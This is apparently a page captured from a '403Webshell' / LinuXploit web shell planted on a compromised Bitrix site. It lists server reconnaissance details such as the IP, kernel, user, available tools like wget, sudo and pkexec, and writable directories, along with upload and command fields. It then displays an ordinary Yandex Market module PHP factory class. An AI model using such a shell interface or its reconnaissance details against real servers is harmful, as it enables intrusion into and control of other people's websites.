403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/yandex.market/lib/watcher/agent/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/yandex.market/lib/watcher/agent/factory.php
<?php
namespace Yandex\Market\Watcher\Agent;

use Bitrix\Main;
use Yandex\Market\Glossary;
use Yandex\Market\Export;
use Yandex\Market\Catalog;
use Yandex\Market\SalesBoost;

class Factory
{
	public static function processor($method, $serviceType, $setupId)
	{
		if ($serviceType === Glossary::SERVICE_EXPORT)
		{
			$result = new Export\Agent\Processor($method, $setupId);
		}
		else if ($serviceType === Glossary::SERVICE_SALES_BOOST)
		{
			$result = new SalesBoost\Agent\Processor($method, $setupId);
		}
		else if ($serviceType === Glossary::SERVICE_CATALOG)
		{
			$result = new Catalog\Agent\Processor($method, $setupId);
		}
		else
		{
			throw new Main\ArgumentException($serviceType);
		}

		return $result;
	}

	public static function setup($serviceType, $setupId)
	{
		if ($serviceType === Glossary::SERVICE_EXPORT)
		{
			$result = Export\Setup\Model::loadById($setupId);
		}
		else if ($serviceType === Glossary::SERVICE_SALES_BOOST)
		{
			$result = SalesBoost\Setup\Model::loadById($setupId);
		}
		else if ($serviceType === Glossary::SERVICE_CATALOG)
		{
			$result = Catalog\Setup\Model::loadById($setupId);
		}
		else
		{
			throw new Main\ArgumentException($serviceType);
		}

		return $result;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit